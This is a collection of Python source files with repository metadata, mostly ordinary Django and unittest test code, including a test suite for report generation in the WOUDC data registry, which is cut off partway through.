156

py

Python

utils/draw_net.py

lyzMaster/DeepGTA5-V2

f290e8957e1a0b6837cd391f110961a6cc97aa51

[ "MIT" ]

12

2019-05-30T06:00:36.000Z

2022-02-24T18:08:15.000Z

utils/draw_net.py

HTL2018/DeepGTA5-V2

096f2fa1e991a68bf3d9243a310d9bd487740700

[ "MIT" ]

null

utils/draw_net.py

HTL2018/DeepGTA5-V2

096f2fa1e991a68bf3d9243a310d9bd487740700

[ "MIT" ]

6

2019-08-27T16:30:45.000Z

2021-12-27T03:45:19.000Z

from keras.utils import plot_model from models.main_model import main_model plot_model(main_model(), to_file='model.png', show_shapes=True) # 使用。。。画神经网络

31.2

78

0.788462

26

156

4.461538

0.615385

0.232759

0

0.102564

156

4

79

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0

null

0

1

0

1

0

1

0

6

13970f8cf709cffa4e488754d74c8216e97aae51

22

py

Python

tests/fixtures/internal/subpackage_a/__init__.py

gitter-badger/dependenpy

db411b7bbd466b79064cbb419049f17cd3bff4c1

[ "ISC" ]

10

2020-01-08T10:42:32.000Z

2021-07-08T01:58:08.000Z

tests/fixtures/internal/subpackage_a/__init__.py

gitter-badger/dependenpy

db411b7bbd466b79064cbb419049f17cd3bff4c1

[ "ISC" ]

18

2015-03-13T11:55:49.000Z

2017-06-20T11:56:46.000Z

tests/fixtures/internal/subpackage_a/__init__.py

gitter-badger/dependenpy

db411b7bbd466b79064cbb419049f17cd3bff4c1

[ "ISC" ]

1

2019-12-10T18:32:05.000Z

import external as ex

11

21

0.818182

4

22

4.5

1

0

0.181818

22

1

22

1

0

1

0

true

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1

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null

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0

null

0

1

0

1

0

1

0

6

13f1d697b124d8055ddb23495d0a49267bde1ac7

2,559

py

Python

decisiontree/multitenancy/tests/test_utils.py

datamade/rapidsms-decisiontree-app

7613a43f1bb17ffcd6d5a5d6d6f93ad9c09bd2a6

[ "BSD-3-Clause" ]

1

2018-08-23T06:29:23.000Z

decisiontree/multitenancy/tests/test_utils.py

datamade/rapidsms-decisiontree-app

7613a43f1bb17ffcd6d5a5d6d6f93ad9c09bd2a6

[ "BSD-3-Clause" ]

9

2018-08-07T20:37:52.000Z

2018-12-28T17:17:16.000Z

decisiontree/multitenancy/tests/test_utils.py

datamade/rapidsms-decisiontree-app

7613a43f1bb17ffcd6d5a5d6d6f93ad9c09bd2a6

[ "BSD-3-Clause" ]

null

import mock from django.test import TestCase from .. import utils @mock.patch('decisiontree.multitenancy.utils.multitenancy_enabled') @mock.patch('decisiontree.multitenancy.utils.reverse') class TestTenancyReverse(TestCase): def setUp(self): super(TestTenancyReverse, self).setUp() self.request = mock.Mock(group_slug='group', tenant_slug='tenant') def test_args_tenancy_enabled(self, reverse, multitenancy_enabled): multitenancy_enabled.return_value = True val = utils.tenancy_reverse(self.request, 'test_url', 'a', 'b') self.assertTrue(isinstance(val, mock.Mock)) self.assertTrue(reverse.call_count, 1) self.assertEqual(reverse.call_args[0], ('test_url',)) self.assertEqual(reverse.call_args[1], { 'args': (self.request.group_slug, self.request.tenant_slug, 'a', 'b'), 'kwargs': {}, }) def test_args_tenancy_disabled(self, reverse, multitenancy_enabled): multitenancy_enabled.return_value = False val = utils.tenancy_reverse(self.request, 'test_url', 'a', 'b') self.assertTrue(isinstance(val, mock.Mock)) self.assertTrue(reverse.call_count, 1) self.assertEqual(reverse.call_args[0], ('test_url',)) self.assertEqual(reverse.call_args[1], { 'args': ('a', 'b'), 'kwargs': {}, }) def test_kwargs_tenancy_enabled(self, reverse, multitenancy_enabled): multitenancy_enabled.return_value = True val = utils.tenancy_reverse(self.request, 'test_url', a='a', b='b') self.assertTrue(isinstance(val, mock.Mock)) self.assertTrue(reverse.call_count, 1) self.assertEqual(reverse.call_args[0], ('test_url',)) self.assertEqual(reverse.call_args[1], { 'args': (), 'kwargs': { 'tenant_slug': self.request.tenant_slug, 'group_slug': self.request.group_slug, 'a': 'a', 'b': 'b', }, }) def test_kwargs_tenancy_disabled(self, reverse, multitenancy_enabled): multitenancy_enabled.return_value = False val = utils.tenancy_reverse(self.request, 'test_url', a='a', b='b') self.assertTrue(isinstance(val, mock.Mock)) self.assertTrue(reverse.call_count, 1) self.assertEqual(reverse.call_args[0], ('test_url',)) self.assertEqual(reverse.call_args[1], { 'args': (), 'kwargs': { 'a': 'a', 'b': 'b', }, })

38.19403

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0.611567

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5.254355

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null

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null

0

6

b91cfadb2c612b733dab1c074886d48c8a70f67b

176

py

Python

students/K33402/Puzyrev_Dmitry/practical_works/django_simple_app/practice3/django_project_puzyrev/project_first_app/admin.py

ShubhamKunal/ITMO_ICT_WebDevelopment_2020-2021

bb91c91a56d21cec2b12ae4cc722eaa652a88420

[ "MIT" ]

4

2020-09-03T15:41:42.000Z

2021-12-24T15:28:20.000Z

students/K33402/Puzyrev_Dmitry/practical_works/django_simple_app/practice3/django_project_puzyrev/project_first_app/admin.py

ShubhamKunal/ITMO_ICT_WebDevelopment_2020-2021

bb91c91a56d21cec2b12ae4cc722eaa652a88420

[ "MIT" ]

48

2020-09-13T20:22:42.000Z

2021-04-30T11:13:30.000Z

students/K33402/Puzyrev_Dmitry/practical_works/django_simple_app/practice3/django_project_puzyrev/project_first_app/admin.py

ShubhamKunal/ITMO_ICT_WebDevelopment_2020-2021

bb91c91a56d21cec2b12ae4cc722eaa652a88420

[ "MIT" ]

69

2020-09-06T10:32:37.000Z

2021-11-28T18:13:17.000Z

from django.contrib import admin from .models import * admin.site.register(Driver) admin.site.register(Car) admin.site.register(Ownership) admin.site.register(DrivingLicence)

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6

b9425fee27fbae52100682df06aafebec462865a

114

py

Python

typecasts/__init__.py

python-platonic/typecasts

01deaadfdc7ee7312999104904f717f52013f143

[ "MIT" ]

3

2020-10-05T17:26:54.000Z

2022-02-11T09:15:18.000Z

typecasts/__init__.py

python-platonic/typecasts

01deaadfdc7ee7312999104904f717f52013f143

[ "MIT" ]

8

2020-10-02T06:29:20.000Z

2021-07-02T11:17:10.000Z

typecasts/__init__.py

python-platonic/typecasts

01deaadfdc7ee7312999104904f717f52013f143

[ "MIT" ]

null

from typecasts.defaults import casts from typecasts.identity import identity from typecasts.main import Typecasts

28.5

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6

b96699bfadc5ced08f362942f0c4f7b73a991e88

45,164

py

Python

woudc_data_registry/tests/test_report_generation.py

danielwaiforssell/woudc-data-registry

6049f4f31c81558e5a3fb58905e69ce3605cbc60

[ "MIT" ]

null

woudc_data_registry/tests/test_report_generation.py

danielwaiforssell/woudc-data-registry

6049f4f31c81558e5a3fb58905e69ce3605cbc60

[ "MIT" ]

null

woudc_data_registry/tests/test_report_generation.py

danielwaiforssell/woudc-data-registry

6049f4f31c81558e5a3fb58905e69ce3605cbc60

[ "MIT" ]

null

import csv import pathlib import os import unittest from datetime import datetime from woudc_data_registry import models, parser, report, util SANDBOX_DIR = '/tmp/woudc-data-registry' def dummy_extCSV(source): """ Returns a parser.ExtendedCSV instace built from the filepath <source> with dummy output settings (no logs or reports). """ with report.OperatorReport() as error_bank: return parser.ExtendedCSV(source, error_bank) def resolve_test_data_path(test_data_file): """ helper function to ensure filepath is valid for different testing context (setuptools, directly, etc.) :param test_data_file: Relative path to an input file. :returns: Full path to the input file. """ if os.path.exists(test_data_file): return test_data_file else: path = os.path.join('woudc_data_registry', 'tests', test_data_file) if os.path.exists(path): return path def clear_sandbox(): """ Clean up report generation tests by deleting any files in the sandbox directory. """ for filename in os.listdir(SANDBOX_DIR): fullpath = os.path.join(SANDBOX_DIR, filename) os.remove(fullpath) class SandboxTestSuite(unittest.TestCase): """Superclass for test classes that write temporary files to a sandbox""" def setUpClass(): os.mkdir(SANDBOX_DIR) def tearDownClass(): os.rmdir(SANDBOX_DIR) def tearDown(self): clear_sandbox() class OperatorReportTest(SandboxTestSuite): """Test suite for OperatorReport, error severity, and file format""" def test_operator_report_output_location(self): """Test that operator reports write a file in the working directory""" with report.OperatorReport(SANDBOX_DIR) as op_report: operator_path = pathlib.Path(op_report.filepath()) self.assertEquals(str(operator_path.parent), SANDBOX_DIR) def test_uses_error_definition(self): """Test that error/warning feedback responds to input files""" # The two error files below have different error types for error 1. all_warnings = resolve_test_data_path('config/all_warnings.csv') all_errors = resolve_test_data_path('config/all_errors.csv') with report.OperatorReport(SANDBOX_DIR) as op_report: op_report.read_error_definitions(all_warnings) self.assertIn(1, op_report._error_definitions) _, success = op_report.add_message(1) self.assertFalse(success) op_report.read_error_definitions(all_errors) self.assertIn(1, op_report._error_definitions) _, success = op_report.add_message(1) self.assertTrue(success) def test_passing_operator_report(self): """Test that a passing file is written in the operator report""" filename = '20080101.Kipp_Zonen.UV-S-E-T.000560.PMOD-WRC.csv' infile = resolve_test_data_path('data/general/{}'.format(filename)) contents = util.read_file(infile) with report.OperatorReport(SANDBOX_DIR) as op_report: ecsv = parser.ExtendedCSV(contents, op_report) ecsv.validate_metadata_tables() ecsv.validate_dataset_tables() data_record = models.DataRecord(ecsv) data_record.filename = filename agency = ecsv.extcsv['DATA_GENERATION']['Agency'] today = datetime.now().strftime('%Y-%m-%d') output_path = os.path.join(SANDBOX_DIR, 'operator-report-{}.csv'.format(today)) op_report.add_message(200) # File passes validation op_report.write_passing_file(infile, ecsv, data_record) self.assertTrue(os.path.exists(output_path)) with open(output_path) as output: reader = csv.reader(output) next(reader) report_line = next(reader) self.assertEquals(report_line[0], 'P') self.assertEquals(report_line[2], '200') self.assertIn(agency, report_line) self.assertIn(os.path.basename(infile), report_line) with self.assertRaises(StopIteration): next(reader) def test_warning_operator_report(self): """Test that file warnings are written in the operator report""" filename = 'ecsv-trailing-commas.csv' infile = resolve_test_data_path('data/general/{}'.format(filename)) contents = util.read_file(infile) with report.OperatorReport(SANDBOX_DIR) as op_report: ecsv = parser.ExtendedCSV(contents, op_report) # Some warnings are encountered during parsing. ecsv.validate_metadata_tables() ecsv.validate_dataset_tables() data_record = models.DataRecord(ecsv) data_record.filename = filename agency = ecsv.extcsv['DATA_GENERATION']['Agency'] today = datetime.now().strftime('%Y-%m-%d') output_path = os.path.join(SANDBOX_DIR, 'operator-report-{}.csv'.format(today)) op_report.add_message(200) # File passes validation op_report.write_passing_file(infile, ecsv, data_record) self.assertTrue(os.path.exists(output_path)) with open(output_path) as output: reader = csv.reader(output) next(reader) expected_warnings = len(ecsv.warnings) for _ in range(expected_warnings): report_line = next(reader) self.assertEquals(report_line[0], 'P') self.assertEquals(report_line[1], 'Warning') self.assertIn(agency, report_line) self.assertIn(os.path.basename(infile), report_line) report_line = next(reader) self.assertEquals(report_line[0], 'P') self.assertEquals(report_line[1], 'Warning') self.assertEquals(report_line[2], '200') self.assertIn(agency, report_line) self.assertIn(os.path.basename(infile), report_line) with self.assertRaises(StopIteration): next(reader) def test_failing_operator_report(self): """Test that a failing file is written in the operator report""" filename = 'ecsv-missing-instrument-name.csv' infile = resolve_test_data_path('data/general/{}'.format(filename)) contents = util.read_file(infile) ecsv = None agency = 'UNKNOWN' with report.OperatorReport(SANDBOX_DIR) as op_report: try: ecsv = parser.ExtendedCSV(contents, op_report) ecsv.validate_metadata_tables() agency = ecsv.extcsv['DATA_GENERATION']['Agency'] ecsv.validate_dataset_tables() raise AssertionError('Parsing of {} did not fail' .format(infile)) except (parser.MetadataValidationError, parser.NonStandardDataError): output_path = os.path.join(SANDBOX_DIR, 'run1') op_report.add_message(209) op_report.write_failing_file(infile, agency, ecsv) today = datetime.now().strftime('%Y-%m-%d') output_path = os.path.join(SANDBOX_DIR, 'operator-report-{}.csv'.format(today)) self.assertTrue(os.path.exists(output_path)) with open(output_path) as output: reader = csv.reader(output) next(reader) warnings = 0 errors = 0 expected_warnings = len(ecsv.warnings) expected_errors = len(ecsv.errors) for _ in range(expected_warnings + expected_errors): report_line = next(reader) self.assertEquals(report_line[0], 'F') if report_line[1] == 'Warning': warnings += 1 elif report_line[1] == 'Error': errors += 1 self.assertEquals(warnings, expected_warnings) self.assertEquals(errors, expected_errors) report_line = next(reader) self.assertEquals(report_line[0], 'F') self.assertEquals(report_line[1], 'Error') self.assertEquals(report_line[2], '209') self.assertIn(agency, report_line) self.assertIn(os.path.basename(infile), report_line) with self.assertRaises(StopIteration): next(reader) def test_mixed_operator_report(self): """ Test that passing and failing files are written to the operator report when a mixture of the two is processed """ infile_root = resolve_test_data_path('data/general/pass_and_fail') warnings = {} errors = {} expected_warnings = {} expected_errors = {} agency = 'UNKNOWN' with report.OperatorReport(SANDBOX_DIR) as op_report: for infile in os.listdir(infile_root): fullpath = os.path.join(infile_root, infile) warnings[fullpath] = 0 errors[fullpath] = 0 try: contents = util.read_file(fullpath) ecsv = parser.ExtendedCSV(contents, op_report) except (parser.MetadataValidationError, parser.NonStandardDataError) as err: expected_errors[fullpath] = len(err.errors) op_report.add_message(209) op_report.write_failing_file(fullpath, agency) continue try: ecsv.validate_metadata_tables() agency = ecsv.extcsv['DATA_GENERATION']['Agency'] ecsv.validate_dataset_tables() data_record = models.DataRecord(ecsv) data_record.filename = infile expected_warnings[fullpath] = len(ecsv.warnings) expected_errors[fullpath] = 0 op_report.write_passing_file(fullpath, ecsv, data_record) except (parser.MetadataValidationError, parser.NonStandardDataError): expected_warnings[fullpath] = len(ecsv.warnings) expected_errors[fullpath] = len(ecsv.errors) op_report.add_message(209) op_report.write_failing_file(fullpath, agency, ecsv) today = datetime.now().strftime('%Y-%m-%d') output_path = os.path.join(SANDBOX_DIR, 'operator-report-{}.csv'.format(today)) self.assertTrue(os.path.exists(output_path)) with open(output_path) as output: reader = csv.reader(output) next(reader) for line in reader: if expected_errors[line[12]] == 0: self.assertEquals(line[0], 'P') self.assertEquals(line[1], 'Warning') else: self.assertEquals(line[0], 'F') if line[2] == '200': self.assertEquals(expected_errors[line[12]], 0) elif line[2] == '209': self.assertGreater(expected_errors[line[12]], 0) elif line[1] == 'Warning': warnings[line[12]] += 1 elif line[1] == 'Error': errors[line[12]] += 1 self.assertEquals(warnings, expected_warnings) self.assertEquals(errors, expected_errors) class RunReportTest(SandboxTestSuite): """Test suite for RunReport, file writing and file format""" def test_run_report_output_location(self): """Test that run reports write a file in the working directory""" run_report = report.RunReport(SANDBOX_DIR) run_report_path = pathlib.Path(run_report.filepath()) self.assertEquals(str(run_report_path.parent), SANDBOX_DIR) def test_passing_run_report(self): """Test that a passing file is written to the run report""" filename = '20080101.Kipp_Zonen.UV-S-E-T.000560.PMOD-WRC.csv' infile = resolve_test_data_path('data/general/{}'.format(filename)) contents = util.read_file(infile) run_report = report.RunReport(SANDBOX_DIR) with report.OperatorReport() as error_bank: ecsv = parser.ExtendedCSV(contents, error_bank) ecsv.validate_metadata_tables() ecsv.validate_dataset_tables() data_record = models.DataRecord(ecsv) data_record.filename = filename agency = ecsv.extcsv['DATA_GENERATION']['Agency'] output_path = os.path.join(SANDBOX_DIR, 'run_report') run_report.write_passing_file(infile, agency) self.assertTrue(os.path.exists(output_path)) with open(output_path) as output: lines = output.read().splitlines() self.assertEquals(len(lines), 2) self.assertEquals(lines[0], agency) self.assertEquals(lines[1], 'Pass: {}'.format(infile)) def test_failing_run_report(self): """Test that a failing file is written to the run report""" filename = 'ecsv-missing-instrument-name.csv' infile = resolve_test_data_path('data/general/{}'.format(filename)) contents = util.read_file(infile) ecsv = None # Agency typically filled in with FTP username for failing files. agency = 'rmda' with report.OperatorReport() as error_bank: run_report = report.RunReport(SANDBOX_DIR) try: ecsv = parser.ExtendedCSV(contents, error_bank) ecsv.validate_metadata_tables() agency = ecsv.extcsv['DATA_GENERATION']['Agency'] ecsv.validate_dataset_tables() raise AssertionError('Parsing of {} did not fail' .format(infile)) except (parser.MetadataValidationError, parser.NonStandardDataError): output_path = os.path.join(SANDBOX_DIR, 'run_report') run_report.write_failing_file(infile, agency) self.assertTrue(os.path.exists(output_path)) with open(output_path) as output: lines = output.read().splitlines() self.assertEquals(len(lines), 2) self.assertEquals(lines[0], agency) self.assertEquals(lines[1], 'Fail: {}'.format(infile)) def test_non_extcsv_run_report(self): """Test that an unparseable file is written to the run report""" filename = 'not-an-ecsv.dat' infile = resolve_test_data_path('data/general/{}'.format(filename)) contents = util.read_file(infile) agency = 'UNKNOWN' with report.OperatorReport() as error_bank: run_report = report.RunReport(SANDBOX_DIR) try: _ = parser.ExtendedCSV(contents, error_bank) raise AssertionError('Parsing of {} did not fail' .format(infile)) except (parser.MetadataValidationError, parser.NonStandardDataError): output_path = os.path.join(SANDBOX_DIR, 'run_report') run_report.write_failing_file(infile, agency) self.assertTrue(os.path.exists(output_path)) with open(output_path) as output: lines = output.read().splitlines() self.assertEquals(len(lines), 2) self.assertEquals(lines[0], agency) self.assertEquals(lines[1], 'Fail: {}'.format(infile)) def test_mixed_run_report(self): """ Test that passing and failing files are written to the run report when a mixture of the two is processed """ infile_root = resolve_test_data_path('data/general/pass_and_fail') agency = 'MSC' expected_passes = set() expected_fails = set() with report.OperatorReport() as error_bank: run_report = report.RunReport(SANDBOX_DIR) for infile in os.listdir(infile_root): fullpath = os.path.join(infile_root, infile) try: contents = util.read_file(fullpath) ecsv = parser.ExtendedCSV(contents, error_bank) except (parser.MetadataValidationError, parser.NonStandardDataError): expected_fails.add(fullpath) run_report.write_failing_file(fullpath, agency) continue try: ecsv.validate_metadata_tables() ecsv.validate_dataset_tables() data_record = models.DataRecord(ecsv) data_record.filename = infile expected_passes.add(fullpath) run_report.write_passing_file(fullpath, agency) except (parser.MetadataValidationError, parser.NonStandardDataError): expected_fails.add(fullpath) run_report.write_failing_file(fullpath, agency) self.assertEquals(len(expected_passes), 6) self.assertEquals(len(expected_fails), 4) output_path = os.path.join(SANDBOX_DIR, 'run_report') self.assertTrue(os.path.exists(output_path)) with open(output_path) as output: lines = output.read().splitlines() self.assertEquals(lines[0], agency) self.assertEquals(len(lines), len(expected_passes) + len(expected_fails) + 1) for line in lines[1:]: if line.startswith('Pass'): target = line[6:].strip() self.assertIn(target, expected_passes) elif line.startswith('Fail'): target = line[6:].strip() self.assertIn(target, expected_fails) def test_run_report_multiple_agencies(self): """Test that files in the run report are grouped by agency""" infile_root = resolve_test_data_path('data/general/agencies') expected_passes = {} expected_fails = {} agency_aliases = { 'msc': 'MSC', 'casiap': 'CAS-IAP', 'mlcd-lu': 'MLCD-LU', 'dwd-mohp': 'DWD-MOHp' } with report.OperatorReport() as error_bank: run_report = report.RunReport(SANDBOX_DIR) for dirpath, dirnames, filenames in os.walk(infile_root): for infile in filenames: fullpath = os.path.join(dirpath, infile) # Agency inferred from directory name. agency = dirpath.split('/')[-1] try: contents = util.read_file(fullpath) ecsv = parser.ExtendedCSV(contents, error_bank) except (parser.MetadataValidationError, parser.NonStandardDataError): if agency not in expected_passes: expected_passes[agency] = set() if agency not in expected_fails: expected_fails[agency] = set() expected_fails[agency].add(fullpath) run_report.write_failing_file(fullpath, agency) continue try: ecsv.validate_metadata_tables() agency = ecsv.extcsv['DATA_GENERATION']['Agency'] if agency not in expected_passes: expected_passes[agency] = set() if agency not in expected_fails: expected_fails[agency] = set() ecsv.validate_dataset_tables() data_record = models.DataRecord(ecsv) data_record.filename = infile expected_passes[agency].add(fullpath) run_report.write_passing_file(fullpath, agency) except (parser.MetadataValidationError, parser.NonStandardDataError): agency = agency_aliases[agency] if agency not in expected_passes: expected_passes[agency] = set() if agency not in expected_fails: expected_fails[agency] = set() expected_fails[agency].add(fullpath) run_report.write_failing_file(fullpath, agency) self.assertEquals(len(expected_passes['CAS-IAP']), 1) self.assertEquals(len(expected_passes['DWD-MOHp']), 2) self.assertEquals(len(expected_passes['MLCD-LU']), 3) self.assertEquals(len(expected_passes['MSC']), 4) self.assertEquals(len(expected_fails['CAS-IAP']), 0) self.assertEquals(len(expected_fails['DWD-MOHp']), 1) self.assertEquals(len(expected_fails['MLCD-LU']), 0) self.assertEquals(len(expected_fails['MSC']), 1) output_path = os.path.join(SANDBOX_DIR, 'run_report') self.assertTrue(os.path.exists(output_path)) with open(output_path) as output: lines = output.read().splitlines() curr_agency = None for line in lines: if line.startswith('Pass'): target = line[6:] self.assertIn(target, expected_passes[curr_agency]) elif line.startswith('Fail'): target = line[6:] self.assertIn(target, expected_fails[curr_agency]) elif line.strip() != '': curr_agency = line.strip() self.assertIn(line, agency_aliases.values()) class EmailSummaryTest(SandboxTestSuite): """ Test suite for EmailSummary, output format, and detection of passes, fixes, and fails """ def test_email_summary_output_location(self): """Test that email summaries write a file in the working directory""" email_report = report.EmailSummary(SANDBOX_DIR) email_report_path = pathlib.Path(email_report.filepath()) self.assertEquals(str(email_report_path.parent), SANDBOX_DIR) def test_find_operator_report_empty(self): """Test that no operator reports are found when none exist""" project_root = resolve_test_data_path('data/reports') email_report = report.EmailSummary(project_root) operator_reports = email_report.find_operator_reports() self.assertEquals([], operator_reports) def test_find_operator_report_one_run(self): """Test that operator reports are found when one exists""" project_root = resolve_test_data_path('data/reports/one_pass') email_report = report.EmailSummary(project_root) operator_reports = email_report.find_operator_reports() expected_parent = resolve_test_data_path('data/reports/one_pass/run1') self.assertEquals(1, len(operator_reports)) self.assertIn(expected_parent, operator_reports[0]) def test_find_operator_report_many_runs(self): """ Test that all operator reports are found when they are spread across multiple run directories """ project_root = resolve_test_data_path('data/reports/six_reports') email_report = report.EmailSummary(project_root) operator_reports = email_report.find_operator_reports() expected_path_pattern = \ 'data/reports/six_reports/run{}/operator-report-9999-12-31.csv' self.assertEquals(6, len(operator_reports)) for run_number in range(1, 6 + 1): expected_path = resolve_test_data_path( expected_path_pattern.format(run_number)) self.assertIn(expected_path, set(operator_reports)) def test_email_summary_single_pass(self): """Test email report generation for a single passing file""" input_root = resolve_test_data_path('data/reports/one_pass') email_report = report.EmailSummary(input_root, SANDBOX_DIR) emails = {'MSC': 'placeholder@site.com'} email_report.write(emails) today = datetime.now().strftime('%Y-%m-%d') output_filename = 'failed-files-{}'.format(today) output_path = os.path.join(SANDBOX_DIR, output_filename) self.assertTrue(os.path.exists(output_path)) with open(output_path) as output: lines = output.read().splitlines() self.assertEquals(len(lines), 5) self.assertEquals(lines[0], 'MSC (placeholder@site.com)') self.assertEquals(lines[1], 'Total files received: 1') self.assertEquals(lines[2], 'Number of passed files: 1') self.assertEquals(lines[3], 'Number of manually repaired files: 0') self.assertEquals(lines[4], 'Number of failed files: 0') def test_email_summary_single_fail(self): """Test email report generation for a single failing file""" input_root = resolve_test_data_path('data/reports/one_fail') email_report = report.EmailSummary(input_root, SANDBOX_DIR) emails = {'MSC': 'placeholder@site.com'} email_report.write(emails) today = datetime.now().strftime('%Y-%m-%d') output_filename = 'failed-files-{}'.format(today) output_path = os.path.join(SANDBOX_DIR, output_filename) self.assertTrue(os.path.exists(output_path)) with open(output_path) as output: lines = output.read().splitlines() self.assertEquals(len(lines), 8) self.assertEquals(lines[0], 'MSC (placeholder@site.com)') self.assertEquals(lines[1], 'Total files received: 1') self.assertEquals(lines[2], 'Number of passed files: 0') self.assertEquals(lines[3], 'Number of manually repaired files: 0') self.assertEquals(lines[4], 'Number of failed files: 1') self.assertEquals(lines[5], 'Summary of Failures:') self.assertNotIn('.csv', lines[6]) self.assertEquals(lines[7], 'file1.csv') def test_email_summary_one_run_mixed_pass_fail(self): """ Test email report generation with passing and failing files all in one operator report """ input_root = resolve_test_data_path('data/reports//pass_and_fail') email_report = report.EmailSummary(input_root, SANDBOX_DIR) emails = {'MSC': 'placeholder@site.com'} email_report.write(emails) today = datetime.now().strftime('%Y-%m-%d') output_filename = 'failed-files-{}'.format(today) output_path = os.path.join(SANDBOX_DIR, output_filename) self.assertTrue(os.path.exists(output_path)) with open(output_path) as output: lines = output.read().splitlines() self.assertEquals(len(lines), 10) self.assertEquals(lines[0], 'MSC (placeholder@site.com)') self.assertEquals(lines[1], 'Total files received: 5') self.assertEquals(lines[2], 'Number of passed files: 2') self.assertEquals(lines[3], 'Number of manually repaired files: 0') self.assertEquals(lines[4], 'Number of failed files: 3') self.assertEquals(lines[5], 'Summary of Failures:') self.assertNotIn('.csv', lines[6]) # Alphabetical order of files: the first one has capital F. self.assertEquals(lines[7], 'File5.csv') self.assertEquals(lines[8], 'file2.csv') self.assertEquals(lines[9], 'file3.csv') def test_email_summary_multiple_causes_one_group(self): """ Test email report generation where a single group of files experiences multiple error types. """ input_root = resolve_test_data_path('data/reports/multiple_causes') email_report = report.EmailSummary(input_root, SANDBOX_DIR) emails = {'MSC': 'placeholder@site.com'} email_report.write(emails) today = datetime.now().strftime('%Y-%m-%d') output_filename = 'failed-files-{}'.format(today) output_path = os.path.join(SANDBOX_DIR, output_filename) self.assertTrue(os.path.exists(output_path)) with open(output_path) as output: lines = output.read().splitlines() self.assertEquals(len(lines), 12) self.assertEquals(lines[0], 'MSC (placeholder@site.com)') self.assertEquals(lines[1], 'Total files received: 5') self.assertEquals(lines[2], 'Number of passed files: 2') self.assertEquals(lines[3], 'Number of manually repaired files: 0') self.assertEquals(lines[4], 'Number of failed files: 3') self.assertEquals(lines[5], 'Summary of Failures:') # Three error descriptions shared by all the files below. self.assertNotIn('.csv', lines[6]) self.assertNotIn('.csv', lines[7]) self.assertNotIn('.csv', lines[8]) # Alphabetical order of files: the first one has capital F. self.assertEquals(lines[9], 'File5.csv') self.assertEquals(lines[10], 'file2.csv') self.assertEquals(lines[11], 'file3.csv') def test_email_summary_multiple_agencies(self): """Test email report generation where input has multiple agencies""" input_root = resolve_test_data_path('data/reports/agencies') email_report = report.EmailSummary(input_root, SANDBOX_DIR) emails = { 'CAS-IAP': 'casiap@mail.com', 'DWD-MOHp': 'dwd@mail.com', 'MLCD-LU': 'mlcd@mail.com', 'MSC': 'msc@mail.com' } email_report.write(emails) today = datetime.now().strftime('%Y-%m-%d') output_filename = 'failed-files-{}'.format(today) output_path = os.path.join(SANDBOX_DIR, output_filename) self.assertTrue(os.path.exists(output_path)) with open(output_path) as output: lines = output.read().splitlines() self.assertEquals(len(lines), 29) self.assertEquals(lines[0], 'CAS-IAP (casiap@mail.com)') self.assertEquals(lines[1], 'Total files received: 1') self.assertEquals(lines[2], 'Number of passed files: 1') self.assertEquals(lines[3], 'Number of manually repaired files: 0') self.assertEquals(lines[4], 'Number of failed files: 0') self.assertEquals(lines[6], 'DWD-MOHp (dwd@mail.com)') self.assertEquals(lines[7], 'Total files received: 3') self.assertEquals(lines[8], 'Number of passed files: 2') self.assertEquals(lines[9], 'Number of manually repaired files: 0') self.assertEquals(lines[10], 'Number of failed files: 1') self.assertEquals(lines[11], 'Summary of Failures:') self.assertNotIn('.csv', lines[12]) self.assertEquals(lines[13], 'file2.csv') self.assertEquals(lines[15], 'MLCD-LU (mlcd@mail.com)') self.assertEquals(lines[16], 'Total files received: 3') self.assertEquals(lines[17], 'Number of passed files: 3') self.assertEquals(lines[18], 'Number of manually repaired files: 0') self.assertEquals(lines[19], 'Number of failed files: 0') self.assertEquals(lines[21], 'MSC (msc@mail.com)') self.assertEquals(lines[22], 'Total files received: 5') self.assertEquals(lines[23], 'Number of passed files: 4') self.assertEquals(lines[24], 'Number of manually repaired files: 0') self.assertEquals(lines[25], 'Number of failed files: 1') self.assertEquals(lines[26], 'Summary of Failures:') self.assertNotIn('.csv', lines[27]) self.assertEquals(lines[28], 'file4.csv') def test_email_summary_multiple_runs(self): """Test email report generation across multiple operator reports""" input_root = resolve_test_data_path('data/reports/multiple_runs') email_report = report.EmailSummary(input_root, SANDBOX_DIR) emails = { 'CAS-IAP': 'casiap@mail.com', 'DWD-MOHp': 'dwd@mail.com', 'MLCD-LU': 'mlcd@mail.com', 'MSC': 'msc@mail.com' } email_report.write(emails) today = datetime.now().strftime('%Y-%m-%d') output_filename = 'failed-files-{}'.format(today) output_path = os.path.join(SANDBOX_DIR, output_filename) self.assertTrue(os.path.exists(output_path)) with open(output_path) as output: lines = output.read().splitlines() self.assertEquals(len(lines), 29) self.assertEquals(lines[0], 'CAS-IAP (casiap@mail.com)') self.assertEquals(lines[1], 'Total files received: 1') self.assertEquals(lines[2], 'Number of passed files: 1') self.assertEquals(lines[3], 'Number of manually repaired files: 0') self.assertEquals(lines[4], 'Number of failed files: 0') self.assertEquals(lines[6], 'DWD-MOHp (dwd@mail.com)') self.assertEquals(lines[7], 'Total files received: 3') self.assertEquals(lines[8], 'Number of passed files: 2') self.assertEquals(lines[9], 'Number of manually repaired files: 0') self.assertEquals(lines[10], 'Number of failed files: 1') self.assertEquals(lines[11], 'Summary of Failures:') self.assertNotIn('.csv', lines[12]) self.assertEquals(lines[13], 'file2.csv') self.assertEquals(lines[15], 'MLCD-LU (mlcd@mail.com)') self.assertEquals(lines[16], 'Total files received: 3') self.assertEquals(lines[17], 'Number of passed files: 3') self.assertEquals(lines[18], 'Number of manually repaired files: 0') self.assertEquals(lines[19], 'Number of failed files: 0') self.assertEquals(lines[21], 'MSC (msc@mail.com)') self.assertEquals(lines[22], 'Total files received: 5') self.assertEquals(lines[23], 'Number of passed files: 4') self.assertEquals(lines[24], 'Number of manually repaired files: 0') self.assertEquals(lines[25], 'Number of failed files: 1') self.assertEquals(lines[26], 'Summary of Failures:') self.assertNotIn('.csv', lines[27]) self.assertEquals(lines[28], 'file4.csv') def test_email_summary_single_fix(self): """ Test email report generation for a single file that is fixed between two operator reports """ input_root = resolve_test_data_path('data/reports/one_fix') email_report = report.EmailSummary(input_root, SANDBOX_DIR) emails = {'MSC': 'placeholder@mail.com'} email_report.write(emails) today = datetime.now().strftime('%Y-%m-%d') output_filename = 'failed-files-{}'.format(today) output_path = os.path.join(SANDBOX_DIR, output_filename) self.assertTrue(os.path.exists(output_path)) with open(output_path) as output: lines = output.read().splitlines() self.assertEquals(len(lines), 8) self.assertEquals(lines[0], 'MSC (placeholder@mail.com)') self.assertEquals(lines[1], 'Total files received: 1') self.assertEquals(lines[2], 'Number of passed files: 0') self.assertEquals(lines[3], 'Number of manually repaired files: 1') self.assertEquals(lines[4], 